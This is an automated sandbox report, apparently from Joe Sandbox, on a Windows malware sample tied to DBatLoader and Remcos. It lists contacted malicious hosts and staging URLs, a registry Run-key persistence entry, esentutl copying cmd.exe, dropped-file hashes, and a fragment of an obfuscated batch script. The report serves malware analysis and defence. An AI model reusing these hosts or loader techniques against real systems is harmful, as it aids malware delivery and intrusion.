http://www.pmail.com	jlPBMMQbXC.exe, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1638986421.000000007FB20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://alfanar01-my.sharepoint.com:443/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQ	jlPBMMQbXC.exe, 00000000.00000002.1575706420.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0C	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://lightstone.ae/	jlPBMMQbXC.exe, 00000000.00000002.1575706420.0000000000834000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.19.139.102	lightstone.ae	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	true
103.186.117.159	pentester0.accesscam.org	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562864
Start date and time:	2024-11-26 08:11:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jlPBMMQbXC.exe renamed because original name is a hash value
Original Sample Name:	0225dcd9b2e37389e781d34d3027a1882ada68b4282089105bc637f4d8139561.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@18/8@14/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 73 Number of non-executed functions: 239
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, 189749-ipv4v6e.farm.dprodmgd104.sharepointonline.com.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: jlPBMMQbXC.exe

Simulations

Behavior and APIs

Time	Type	Description
02:12:09	API Interceptor	2x Sleep call for process: jlPBMMQbXC.exe modified
02:12:38	API Interceptor	2x Sleep call for process: Selebzih.PIF modified
02:13:05	API Interceptor	3359673x Sleep call for process: SndVol.exe modified
07:12:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Selebzih C:\Users\Public\Selebzih.url
07:12:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Selebzih C:\Users\Public\Selebzih.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.136.10	http://algestconsulting20-my.sharepoint.com/:f:/g/personal/jacques_cangah_algest-consulting_com/EkolIGllKGRKhe-gd4i73uMBzF46oqcv00d-WXGnz9D-Fw	Get hash	malicious	Unknown	Browse	algestconsulting20-my.sharepoint.com/:f:/g/personal/jacques_cangah_algest-consulting_com/EkolIGllKGRKhe-gd4i73uMBzF46oqcv00d-WXGnz9D-Fw
	http://bombeirosamora-my.sharepoint.com/:o:/g/personal/geral_comando_bombeirosamora_pt/EqT53jeWO6ZGkv1O_1FowosB2CSGfrKDmTZiEPPt31Ds7g	Get hash	malicious	HTMLPhisher	Browse	bombeirosamora-my.sharepoint.com/:o:/g/personal/geral_comando_bombeirosamora_pt/EqT53jeWO6ZGkv1O_1FowosB2CSGfrKDmTZiEPPt31Ds7g
	http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg	Get hash	malicious	HTMLPhisher	Browse	midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg
103.186.117.159	kJRELa7CL3.exe	Get hash	malicious	DBatLoader, Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
honeypotresearchteam.duckdns.org	nWiLCvdU0P.exe	Get hash	malicious	DBatLoader, Remcos	Browse	178.162.204.238
pentester0.accesscam.org	kJRELa7CL3.exe	Get hash	malicious	DBatLoader, Remcos	Browse	103.186.117.159
	nWiLCvdU0P.exe	Get hash	malicious	DBatLoader, Remcos	Browse	178.162.204.238
	p7c0yHVLB6.exe	Get hash	malicious	Remcos	Browse	141.95.136.82
	rRhJnzhWEd.exe	Get hash	malicious	DBatLoader, Remcos	Browse	51.178.112.40
	BOQ-Al Gurg Automation Project.exe	Get hash	malicious	DBatLoader, Remcos	Browse	51.178.112.40
	BOQ-Al Gurg Automation Project.exe	Get hash	malicious	DBatLoader, Remcos	Browse	51.178.112.40
	file.exe	Get hash	malicious	DBatLoader, Remcos	Browse	57.128.132.196
	arch-sketch-002993.dwg.pif.exe	Get hash	malicious	DBatLoader, Remcos	Browse	151.80.223.229
	Drawing.exe	Get hash	malicious	DBatLoader, Remcos	Browse	151.80.223.229
	BOQ-523-2022 R01.pdf.exe	Get hash	malicious	DBatLoader, Remcos	Browse	151.80.223.229
dual-spo-0005.spo-msedge.net	https://tmacog-my.sharepoint.com/:f:/g/personal/bechsteinm_tmacog_org/EhlK4Xsd02RCkKBp5naSkjkBOE0y5JIGJchJIGq_xqq50Q?e=5%3abaznzS&at=9&xsdata=MDV8MDJ8Ymhvb3BlckBiZ3N1LmVkdXwxYTg0MTFlMjdjMzQ0NWU4MTcwZjA4ZGQwZDZiOGQzM3xjZGNiNzI5ZDUxMDY0ZDdjYjc1YmEzMGM0NTVkNWIwYXwwfDB8NjM4NjgxNDc3ODAwNDk3OTg2fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=VldHeThDNE1GNDFhUVA3VUJFZzEwL2JHVDN6U1BIcVM3bzE4cklKOGVJbz0%3d&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTczMjguMjA2MTIiLCAiT1MiIDogIldpbmRvd3MiIH0%3D	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	Quote Request.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://binusianorg-my.sharepoint.com/personal/radja_hizbullah_binus_ac_id/_layouts/15/guestaccess.aspx?share=ETHY_S_rOwNFgVsgBzxZDRgB0fQxIDkLS5qX9M9nLivRaw&e=mq1rkf	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fmyarrowleaf1-my.sharepoint.com%2F%3Af%3A%2Fg%2Fpersonal%2Fmarge_penrod_myarrowleaf_org%2FElQV40bjfBZKivPSKIPxGuYBa20TAVuQG9ya4YrQRKjHiQ%3Fe%3D7nML8f&data=eJxVzctugzAQBdCvMbtGBqOkWXhBlOYhUiW0VaR0gyZgGyL80Ng05e8L6aaVZlZz7p2Kz5PlPI1BxBQqFtW8qkF14P2ssjrSfEEPxukjHONsHXlusRboSUrN_aG0VA-IPFyxVU0QOB7_dfS8CcF5wjKSbMbRAyDaeydAxk96mPkGUDjbmjDxybBM_mo1rhv_WQPdlARUonTCoK3LPzWlxUm-dMU5pdebXH3m7dfpPd-fvrf9ZQUJ_cjOfbFdDpBesHjLb7u2IGwjCFsvzOvhWf4A0NhYxQ%25%25	Get hash	malicious	Unknown	Browse	13.107.136.10
	FW Cardenas Leslie shared Mathis IDS Remittance Copy with you.msg	Get hash	malicious	Unknown	Browse	13.107.136.10
	Malicious PDF.pdf	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	13.107.136.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-US-LEGACY-QWESTUS	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	208.45.0.29
	fbot.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	71.32.39.76
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	209.26.46.107
	fbot.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	67.144.93.84
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	63.229.122.202
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	97.117.89.67
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	71.218.36.20
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	167.76.6.254
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	184.1.180.119
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	76.7.176.213
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	fbot.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	103.33.85.33
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	103.163.8.163
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	138.46.245.63
	apep.arm6.elf	Get hash	malicious	Mirai	Browse	103.172.4.105
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	130.222.69.184
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23YWhvd2FyZEBzZWN1cnVzdGVjaG5vbG9naWVzLmNvbQ==	Get hash	malicious	Unknown	Browse	103.174.152.66
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23cnlhbi5lZHdhcmRzQGF2ZW50aXYuY29t	Get hash	malicious	Unknown	Browse	103.174.152.66
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23bWJsYW5kQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t	Get hash	malicious	Unknown	Browse	103.174.152.66
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	103.186.137.204
	spc.elf	Get hash	malicious	Mirai	Browse	103.0.31.214
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	51.104.15.253
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	52.98.61.50
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	13.107.240.53

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	nft438A5fN.exe	Get hash	malicious	DBatLoader, Remcos	Browse	13.107.136.10 162.19.139.102
	6BE4RDldhw.exe	Get hash	malicious	DBatLoader	Browse	13.107.136.10 162.19.139.102
	AnyDesk.exe	Get hash	malicious	DBatLoader	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	Unknown	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	Unknown	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	Unknown	Browse	13.107.136.10 162.19.139.102
	file.exe	Get hash	malicious	Unknown	Browse	13.107.136.10 162.19.139.102

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\alpha.pif	nft438A5fN.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	USD470900_COPY_800BLHSBC882001_NOV202024.PDF.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	x.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse

Created / dropped Files

C:\Users\Public\Libraries\PNO

Process:	C:\Users\user\Desktop\jlPBMMQbXC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:pvn:Bn
MD5:	778300BD8587672716B777C1C3F07C14
SHA1:	EF2781BBE133C16ADB6600F5D01C3683F584384E
SHA-256:	CC40D093B4B0AA5F9CE40061B3489183AAB268DA0BE0400DEE53E5A6480D9346
SHA-512:	265A83B0F14B57BA28203DDF96115EE404C34AC3DAF8CBA31E38B63DAEB31A84454B21B215AD603CA0EF424FAA11E1D003BC3F1510639A73A01929121513C2F0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	29..

C:\Users\Public\Libraries\Selebzih

Process:	C:\Users\user\Desktop\jlPBMMQbXC.exe
File Type:	data
Category:	dropped
Size (bytes):	804168
Entropy (8bit):	7.389101892224455
Encrypted:	false
SSDEEP:	12288:ih27Kvc3GnLrlkBBBm4UVSZeKYnijQySTMXm5pJO88b8NyUV/HxNnrpEGOFz9cWj:N77YdqBaVdTijQzTQ0i87NfVhIFBe+Z
MD5:	6D48D5B4A6E4DFA2497101012016CF64
SHA1:	06BB4C483D284976FB2CCC76DE8EF1B44D1F0D8F
SHA-256:	C348DAD4A637ED1784B5A1156FFBECE2A09419010DF7E63FEBF7B098838EAFF4
SHA-512:	001ECBA09C2B465106C0A5CD35E8D54B39102171EDB01603FD2D664D24790B3B1C65BC9E1E03F993992697D9F1AE021FCCFF60581868B3753108CA59F55854AD
Malicious:	true
Preview:	...Y#..K. .%..'..!'...%...........&#$......".'............'..... .... ..%.&.....%......!..'.'......Y#..K.....'..!.....Y#..K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................B...0"+.@...<"................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Libraries\Selebzih.PIF

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1243648
Entropy (8bit):	7.222099898338502
Encrypted:	false
SSDEEP:	24576:HZVgZqK0ycvp/WLq7frG1Pjc8sfe93uhoKg97y4zuaRacKHT7:Hri0HvELqW1PjKK3cg9XzuaReX
MD5:	A27B6DE588AD4D4C0D6E0C656E580F4E
SHA1:	48D25BBC2E65BD22678CA45D2B53B4CA8CE8059F
SHA-256:	0225DCD9B2E37389E781D34D3027A1882ADA68B4282089105BC637F4D8139561
SHA-512:	C877CB2B51DBF234C5BCA14F520D8BD42D8D5690E2F4F3D9AC07700E190FDBBBD4B52A6B0D1B71284F0B277F625D6B60F8F3B086ADE1E7F7FC4347CF6AF6E6DF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................................... ....@..............................................@........................... ...%...........................p...k...........................`.......................'...............................text............................... ..`.itext..L........................... ..`.data....... ......................@....bss.....6...............................idata...%... ...&..................@....tls....4....P...........................rdata.......`......................@..@.reloc...k...p...l..................@..B.rsrc................P..............@..@....................................@..@................................................................................................

C:\Users\Public\Libraries\hizbeleS.cmd

Process:	C:\Users\user\Desktop\jlPBMMQbXC.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\Selebzih.url

Process:	C:\Users\user\Desktop\jlPBMMQbXC.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Selebzih.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.086136146513478
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMC/MTsbxm5cPR:HRYFVmTWDyztMTExm+R
MD5:	6EE47F0C6F89FDC74EF14A6A1F994ABC
SHA1:	EC900C29BA156AE22322E142C395073B65AC8408
SHA-256:	EB5CFC90903A9C5952386847165EB0F35DB7355AB437D4584CFA6468863DB3D0
SHA-512:	2BD586BB5EFA6F51ED75FC0D7188ACC34512141D354CD0B6E2E83428506C9BAADAC97D3E794BB68227676FC75DA7CE1C0D3E0FD8539286A9A3986BD1A5EE093A
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Selebzih.PIF"..IconIndex=970139..HotKey=34..

C:\Users\Public\alpha.pif

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: nft438A5fN.exe, Detection: malicious, Browse Filename: RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat, Detection: malicious, Browse Filename: IBKB.vbs, Detection: malicious, Browse Filename: USD470900_COPY_800BLHSBC882001_NOV202024.PDF.exe, Detection: malicious, Browse Filename: USD470900_COPY_800BLHSBC882001.PDF.bat, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: x.exe, Detection: malicious, Browse Filename: TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

\Device\ConDrv

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	589
Entropy (8bit):	4.65719623812716
Encrypted:	false
SSDEEP:	12:q6xTztMReSbZ7u0wxDDDDDDDDjCaY56aYAmVV4TB8NGNVG:rxTztMRp7u0wQak6ag/4t8ND
MD5:	35DC55A912DE411B7A2252EE84D2B0DF
SHA1:	C76CCD6F3B14D26260AA27D6E2491B9D932D5080
SHA-256:	E4478237DB114491BADBCF0DDB6F4D43FC711D8F84B6B9E8AC56E8F8590DBA55
SHA-512:	D83D1453762727330A595D6637148ACD209487BEA6384A19E4CD8E75A06D04470ED40A6885F42DE692092F2D431ED67AC65BF4F9003F1FDA6CBFC537C80FA180
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\Users\user\Desktop\jlPBMMQbXC.exe...Desusertion File: C:\\Users\\Public\\Libraries\\Selebzih.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x12fa00 (1243648) (1 MB)....Total bytes written = 0x130000 (1245184) (1 MB).......Operation completed successfully in 0.406 seconds.....

\Device\Null

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	564
Entropy (8bit):	4.563144721515264
Encrypted:	false
SSDEEP:	12:q6pLExT6ceSbZ7u0wxDDDDDDDDjCaY5n4aYAWS4TB8NGNc:/pLExT6cp7u0wQakn4al4t8N9
MD5:	5C3C5D404242B69461B6D20D2CBFC7A6
SHA1:	5BBC33F8FC5AF5C5C4F5A17F28345A1B7D07C68C
SHA-256:	F4D32853D80EBEC3AA0A13DA1C986D5371F49917ECDFF042EDFD36DDEA495DC4
SHA-512:	0D09E396C9FBF870EC33464BB4DAF23D0F9DDBF71D0B7C368E01A7998B903A3AD9EB8D5AA752682DAC5802993ADA871F185959D1F9B08AFAC966BB9C100C8775
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\cmd.exe...Desusertion File: C:\\Users\\Public\\alpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x39c00 (236544) (0 MB)....Total bytes written = 0x3a000 (237568) (0 MB).......Operation completed successfully in 1.32 seconds.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.222099898338502
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	jlPBMMQbXC.exe
File size:	1'243'648 bytes
MD5:	a27b6de588ad4d4c0d6e0c656e580f4e
SHA1:	48d25bbc2e65bd22678ca45d2b53b4ca8ce8059f
SHA256:	0225dcd9b2e37389e781d34d3027a1882ada68b4282089105bc637f4d8139561
